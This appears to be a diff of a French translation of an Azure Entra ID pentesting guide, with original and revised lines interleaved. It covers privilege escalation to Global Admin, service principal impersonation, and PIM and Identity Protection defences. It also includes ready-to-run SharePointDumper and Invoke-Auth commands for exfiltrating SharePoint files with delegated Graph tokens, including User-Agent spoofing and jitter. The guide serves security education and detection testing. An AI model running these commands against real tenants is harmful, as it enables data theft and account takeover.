while IFS= read -r access; do
perm_type="$(jq -r '.type' <<<"$access")"
perm_id="$(jq -r '.id' <<<"$access")"
echo -e "${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${owner_org}\t${perm_type}\t${perm_id}"
done < <(jq -c '.resourceAccess[]' <<<"$rra")
done < <(jq -c '.[2][]' <<<"$row")
done < <(jq -c '.[]' <<<"$apps_json")
```
</details>
{{#endtab }}
{{#tab name="Az" }}
@@ -820,21 +895,21 @@ Get-AzureADApplication -ObjectId <id> | Get-AzureADApplicationOwner |fl *
{{#endtabs }}
> [!WARNING]
> Une app avec la permission **`AppRoleAssignment.ReadWrite`** peut **escalate to Global Admin** en se grantant elle-même le rôle.\
> For more information [**check this**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48).
> Une application disposant de la permission **`AppRoleAssignment.ReadWrite`** peut **escalader au rôle Global Admin** en s'attribuant le rôle.\
> Pour plus d'informations [**consultez ceci**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48).
> [!NOTE]
> A secret string that the application uses to prove its identity when requesting a token is the application password.\
> So, if find this **password** you can access as the **service principal** **inside** the **tenant**.\
> Note that this password is only visible when generated (you could change it but you cannot get it again).\
> The **owner** of the **application** can **add a password** to it (so he can impersonate it).\
> Logins as these service principals are **not marked as risky** and they **won't have MFA.**
> Une chaîne secrète que l'application utilise pour prouver son identité lors de la demande d'un token est le mot de passe de l'application.\
> Donc, si vous trouvez ce **mot de passe** vous pouvez accéder en tant que **service principal** **dans** le **tenant**.\
> Notez que ce mot de passe n'est visible qu'au moment de sa génération (vous pouvez le changer mais vous ne pouvez pas le récupérer à nouveau).\
> Le **propriétaire** de l'**application** peut **ajouter un mot de passe** à celle-ci (ainsi il peut se faire passer pour elle).\
> Les connexions en tant que ces service principals **ne sont pas marquées comme risquées** et **n'auront pas de MFA.**
It's possible to find a list of commonly used App IDs that belongs to Microsoft in [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications)
Il est possible de trouver une liste d'App IDs couramment utilisés appartenant à Microsoft sur [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications)
### Managed Identities
For more information about Managed Identities check:
Pour plus d'informations sur Managed Identities, consultez :
{{#ref}}
../az-basic-information/
@@ -937,7 +1012,7 @@ Headers = @{
{{#endtab }}
{{#endtabs }}
### Entra ID Roles
### Rôles Entra ID
Pour plus d'informations sur les rôles Azure, consultez :
@@ -1061,7 +1136,7 @@ Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember
> [!WARNING]
> Si un appareil (VM) est **AzureAD joined**, les utilisateurs d'AzureAD vont **pouvoir se connecter**.\
> De plus, si l'utilisateur connecté est **Owner** de l'appareil, il sera **local admin**.
> De plus, si l'utilisateur connecté est **Owner** de l'appareil, il va être **administrateur local**.
### Unités administratives
@@ -1102,12 +1177,12 @@ Get-AzureADMSScopedRoleMembership -Id <id> | fl #Get role ID and role members
## Exfiltration de données SharePoint déléguée via Microsoft Graph (SharePointDumper)
Les attaquants disposant d'un **delegated Microsoft Graph token** incluant **`Sites.Read.All`** ou **`Sites.ReadWrite.All`** peuvent énumérer **sites/drives/items** via Graph puis **récupérer le contenu des fichiers** via **SharePoint pre-authentication download URLs** (URLs limitées dans le temps incorporant un access token). Le script [SharePointDumper](https://github.com/zh54321/SharePointDumper) automatise le flux complet (énumération → pre-auth downloads) et génère de la télémétrie par requête pour les tests de détection.
Les attaquants disposant d'un **jeton Microsoft Graph délégué** incluant **`Sites.Read.All`** ou **`Sites.ReadWrite.All`** peuvent énumérer **sites/drives/items** via Graph puis **récupérer le contenu des fichiers** via des **URL de téléchargement SharePoint pré-authentifiées** (liens temporaires incorporant un access token). Le script [SharePointDumper](https://github.com/zh54321/SharePointDumper) automatise tout le processus (énumération → téléchargements pré-auth) et génère de la télémétrie par requête pour les tests de détection.
### Obtention de tokens délégués utilisables
### Obtention de jetons délégués utilisables
- SharePointDumper lui-même **n'authentifie pas** ; fournissez un access token (éventuellement un refresh token).
- Des **first-party clients** pré-consentis peuvent être abusés pour émettre un Graph token sans enregistrer d'app. Exemple d'appels `Invoke-Auth` (depuis [EntraTokenAid](https://github.com/zh54321/EntraTokenAid)) invocations:
- SharePointDumper lui-même **ne s'authentifie pas** ; fournissez un access token (optionnellement un refresh token).
- Des **clients first-party** pré-consentis peuvent être abusés pour émettre un Graph token sans enregistrer d'application. Exemple d'invocations `Invoke-Auth` (depuis [EntraTokenAid](https://github.com/zh54321/EntraTokenAid)) :
```powershell
# CAE requested by default; yields long-lived (~24h) access token
Import-Module ./EntraTokenAid/EntraTokenAid.psm1
@@ -1120,32 +1195,32 @@ Invoke-Auth -ClientID '4765445b-32c6-49b0-83e6-1d93765276ca' -RedirectUrl 'https
Invoke-Auth -ClientID '08e18876-6177-487e-b8b5-cf950c1e598c' -RedirectUrl 'https://onedrive.cloud.microsoft/_forms/spfxsinglesignon.aspx' -Origin 'https://doesnotmatter' # SPO Web Extensibility (FOCI FALSE)
```
> [!NOTE]
> Les clients FOCI TRUE prennent en charge le refresh entre appareils ; les clients FOCI FALSE exigent souvent `-Origin` pour satisfaire la validation de l'origine de la reply URL.
> Les clients FOCI TRUE prennent en charge le rafraîchissement sur plusieurs appareils ; les clients FOCI FALSE exigent souvent `-Origin` pour satisfaire la validation de l'origine de la reply URL.
### Lancer SharePointDumper pour enumeration + exfiltration
### Exécution de SharePointDumper pour enumeration + exfiltration
- Dump basique avec UA personnalisée / proxy / throttling :
- Dump basique avec UA personnalisée / proxy / throttling:
```powershell
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -UserAgent "Not SharePointDumper" -RequestDelaySeconds 2 -Variation 3 -Proxy 'http://127.0.0.1:8080'
```
- Contrôle du périmètre : inclure/exclure des sites ou des extensions et plafonds globaux :
- Contrôle de la portée : inclure/exclure des sites ou des extensions et plafonds globaux :
```powershell
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -IncludeSites 'Finance','Projects' -IncludeExtensions pdf,docx -MaxFiles 500 -MaxTotalSizeMB 100
```
- **Reprendre** les exécutions interrompues (réénumère mais ignore les éléments téléchargés):
- **Reprendre** des exécutions interrompues (réénumère mais ignore les éléments déjà téléchargés) :
```powershell
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -Resume -OutputFolder .\20251121_1551_MyTenant
```
- **Rafraîchissement automatique du token sur HTTP 401** (requiert EntraTokenAid chargé):
- **Rafraîchissement automatique du token sur HTTP 401** (nécessite EntraTokenAid chargé):
```powershell
Import-Module ./EntraTokenAid/EntraTokenAid.psm1
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -RefreshToken $tokens.refresh_token -RefreshClientId 'b26aadf8-566f-4478-926f-589f601d9c74'
```
Notes opérationnelles :
Notes opérationnelles:
- Préfère les tokens **CAE-enabled** pour éviter une expiration en cours d'exécution ; les tentatives de rafraîchissement ne sont **pas** enregistrées dans le journal API de l'outil.
- Génère des journaux de requêtes **CSV/JSON** pour **Graph + SharePoint** et masque par défaut les tokens de téléchargement SharePoint intégrés (modifiable).
- Prend en charge un **User-Agent** personnalisé, un **HTTP proxy**, un **délai + jitter par requête**, et un arrêt **Ctrl+C-safe** pour la mise en forme du trafic lors des tests de détection/IR.
- Préfère les tokens **CAE-enabled** pour éviter une expiration en cours d'exécution ; les tentatives de refresh ne sont **pas** journalisées dans le log API de l'outil.
- Génère des **CSV/JSON request logs** pour **Graph + SharePoint** et masque par défaut les tokens de téléchargement SharePoint intégrés (configurable).
- Prend en charge un **User-Agent** personnalisé, un **HTTP proxy**, un délai par requête + **jitter**, et un arrêt sûr **Ctrl+C-safe** pour la mise en forme du trafic lors des tests de détection/IR.
## Entra ID Privilege Escalation
@@ -1159,31 +1234,31 @@ Notes opérationnelles :
../az-privilege-escalation/az-authorization-privesc.md
{{#endref}}
## Mécanismes défensifs
## Defensive Mechanisms
### Privileged Identity Management (PIM)
Privileged Identity Management (PIM) dans Azure aide à **prévenir l'attribution inutile de privilèges excessifs** aux utilisateurs.
Privileged Identity Management (PIM) dans Azure aide à **empêcher l'attribution excessive de privilèges** aux utilisateurs de manière inutile.
Une des principales fonctionnalités fournies par PIM est qu'il permet de ne pas attribuer de rôles à des principals constamment actifs, mais de les rendre **éligibles pour une période donnée (par ex. 6 mois)**. Ensuite, lorsqu'un utilisateur veut activer ce rôle, il doit en faire la demande en indiquant la durée pour laquelle il a besoin du privilège (par ex. 3 heures). Un **administrateur doit approuver** la demande.
Notez que l'utilisateur pourra aussi demander une **extension** de la durée.
L'une des principales fonctionnalités fournies par PIM est qu'il permet de ne pas attribuer de rôles à des principals constamment actifs, mais de les rendre **éligibles pour une période donnée (par ex. 6 months)**. Ensuite, chaque fois que l'utilisateur veut activer ce rôle, il doit en faire la demande en indiquant la durée nécessaire (par ex. 3 hours). Ensuite, un **admin doit approuver** la demande.\
Notez que l'utilisateur pourra aussi demander à **prolonger** la durée.
De plus, **PIM envoie des e-mails** chaque fois qu'un rôle privilégié est attribué à quelqu'un.
<figure><img src="../../../images/image (354).png" alt=""><figcaption></figcaption></figure>
Lorsque PIM est activé, il est possible de configurer chaque rôle avec certaines exigences telles que :
Quand PIM est activé, il est possible de configurer chaque rôle avec certaines exigences comme :
- Durée maximale (heures) d'activation
- Exiger MFA lors de l'activation
- Exiger le contexte d'authentification Conditional Access
- Exiger une justification lors de l'activation
- Exiger les informations de ticket lors de l'activation
- Exiger des informations de ticket lors de l'activation
- Exiger une approbation pour activer
- Durée maximale avant expiration des affectations éligibles
- Beaucoup d'autres options de configuration concernant quand et à qui envoyer des notifications lorsque certaines actions se produisent pour ce rôle
- Durée maximale avant l'expiration des attributions éligibles
- De nombreuses autres options pour configurer quand et à qui envoyer des notifications lorsque certaines actions se produisent avec ce rôle
### Politiques d'accès conditionnel
### Conditional Access Policies
Voir :
@@ -1193,21 +1268,21 @@ Voir :
### Entra Identity Protection
Entra Identity Protection est un service de sécurité qui permet de **détecter quand un utilisateur ou une tentative de connexion présente trop de risques** pour être acceptée, permettant d'**bloquer** l'utilisateur ou la tentative de connexion.
Entra Identity Protection est un service de sécurité qui permet de **détecter quand un utilisateur ou une connexion est trop risqué** pour être accepté, permettant de **bloquer** l'utilisateur ou la tentative de connexion.
Il permet à l'administrateur de le configurer pour **bloquer** les tentatives lorsque le risque est « Faible et plus », « Moyen et plus » ou « Élevé ». Cependant, par défaut il est complètement **désactivé** :
Il permet à l'admin de le configurer pour **bloquer** les tentatives lorsque le risque est "Low and above", "Medium and above" ou "High". Cependant, par défaut il est complètement **désactivé** :
<figure><img src="../../../images/image (356).png" alt=""><figcaption></figcaption></figure>
> [!TIP]
> De nos jours, il est recommandé d'ajouter ces restrictions via des politiques Conditional Access où il est possible de configurer les mêmes options.
> De nos jours, il est recommandé d'ajouter ces restrictions via Conditional Access policies où il est possible de configurer les mêmes options.
### Entra Password Protection
Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) est une fonctionnalité de sécurité qui **aide à prévenir l'abus de mots de passe faibles en verrouillant les comptes lorsqu'il y a plusieurs tentatives de connexion infructueuses**.
Elle permet également de **bloquer une liste personnalisée de mots de passe** que vous devez fournir.
Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) est une fonctionnalité de sécurité qui **aide à prévenir l'abus de mots de passe faibles en verrouillant les comptes lorsqu'il y a plusieurs tentatives de connexion infructueuses**.\
Elle permet également de **bannir une liste personnalisée de mots de passe** que vous devez fournir.
Il peut être **appliqué à la fois** au niveau cloud et à Active Directory sur site.
Elle peut être **appliquée à la fois** au niveau cloud et sur Active Directory on-premises.
Le mode par défaut est **Audit** :